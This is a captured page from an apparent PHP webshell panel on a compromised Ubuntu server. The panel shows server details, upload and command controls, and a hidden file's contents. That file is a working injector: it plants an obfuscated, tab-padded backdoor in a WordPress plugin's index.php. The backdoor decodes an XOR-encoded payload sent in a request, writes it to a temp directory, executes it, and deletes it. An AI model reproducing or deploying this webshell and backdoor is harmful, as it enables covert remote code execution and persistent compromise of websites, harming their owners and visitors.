403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/core22/current/run/shm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/core22/current/run/shm/.factor
<?php  $path = '/var/www/html/ever-ag/wp-content/plugins/index.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('%24descriptor%3D%22itm%22%3B%20if%28count%28%24_REQUEST%29%20%3E%200%20%26%26%20isset%28%24_REQUEST%5B%24descriptor%5D%29%29%7B%20%24fac%20%3D%20array_filter%28%5Bgetenv%28%22TMP%22%29%2C%20session_save_path%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20%22/tmp%22%2C%20%22/var/tmp%22%2C%20sys_get_temp_dir%28%29%2C%20getenv%28%22TEMP%22%29%2C%20%22/dev/shm%22%2C%20getcwd%28%29%5D%29%3B%20%24record%20%3D%20pack%28%22H%2A%22%2C%20%24_REQUEST%5B%24descriptor%5D%29%3B%20%24comp%20%3D%20%27%27%20%3B%20%24d%20%3D%200%3B%20while%28%24d%20%3C%20strlen%28%24record%29%29%7B%24comp%20.%3D%20chr%28ord%28%24record%5B%24d%5D%29%20%5E%2031%29%3B%24d%2B%2B%3B%7D%20%24data_chunk%20%3D%200%3B%20do%20%7B%20%24ent%20%3D%20isset%28%24fac%5B%24data_chunk%5D%29%20%3F%20%24fac%5B%24data_chunk%5D%20%3A%20null%3B%20if%20%28%24data_chunk%20%3E%3D%20count%28%24fac%29%29%20break%3B%20if%20%28array_product%28%5Bis_dir%28%24ent%29%2C%20is_writable%28%24ent%29%5D%29%29%20%7B%20%24factor%20%3D%20%22%24ent%22%20.%20%22/.ent%22%3B%20if%20%28%40file_put_contents%28%24factor%2C%20%24comp%29%20%21%3D%3D%20false%29%20%7B%20include%20%24factor%3B%20unlink%28%24factor%29%3B%20exit%3B%20%7D%20%7D%20%24data_chunk%2B%2B%3B%20%7D%20while%20%28true%29%3B%20%7D'); if (strlen($content) < 32) {     die('!failed!'); } if (strstr($content, $new_code)) {     die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) {     $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) {     $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) {     die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     $len = strlen($start);     if ($len > strlen($body) || substr($body, 0, $len) !== $start) {         continue;     }     if ($start === '<?') {         if (strncmp($body, '<?xml', 5) === 0) {             continue;         }         if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') {             continue;         }     }     $rest = substr($body, $len);     $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest;     $tmp = @tempnam(dirname($path), 't');     if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) {         $check = (string) @file_get_contents($path);         if (strstr($check, $new_code)) {             die("!success!<ft>{$ft}</ft>");         }     }     if ($tmp !== false && is_file($tmp)) {         @unlink($tmp);     } } die('!failed!'); 

Youez - 2016 - github.com/yon3zu
LinuXploit